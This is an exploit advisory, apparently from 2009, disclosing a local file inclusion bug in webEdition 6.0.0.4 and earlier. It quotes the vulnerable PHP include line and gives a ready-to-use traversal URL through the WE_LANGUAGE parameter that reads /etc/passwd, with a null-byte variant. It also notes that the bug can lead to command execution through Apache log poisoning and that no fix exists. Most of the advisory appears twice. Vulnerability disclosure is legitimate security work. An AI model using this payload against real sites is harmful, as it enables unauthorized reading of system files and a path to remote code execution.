webEdition 6.0.0.4 Local File Inclusion

["Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>]

*******   Salvatore "drosophila" Fresta   *******

[+] Application: webEdition
[+] Version: <= 6.0.0.4
[+] Website: http://www.webedition.de

[+] Bugs: [A] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 31 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


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[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Requisites: register_globals = on

This bug allows a guest to include local files.
This tecnique can be used to exec remote commands
on the vulnerable system using Apache logs.

...

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");

...


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[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd

*******   Salvatore "drosophila" Fresta   *******

[+] Application: webEdition
[+] Version: <= 6.0.0.4
[+] Website: http://www.webedition.de

[+] Bugs: [A] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 31 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Requisites: register_globals = on

This bug allows a guest to include local files.
This tecnique can be used to exec remote commands
on the vulnerable system using Apache logs.

...

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");

...


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd%00

Tested on MAC OSX 10.5


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[+] Fix

No fix.


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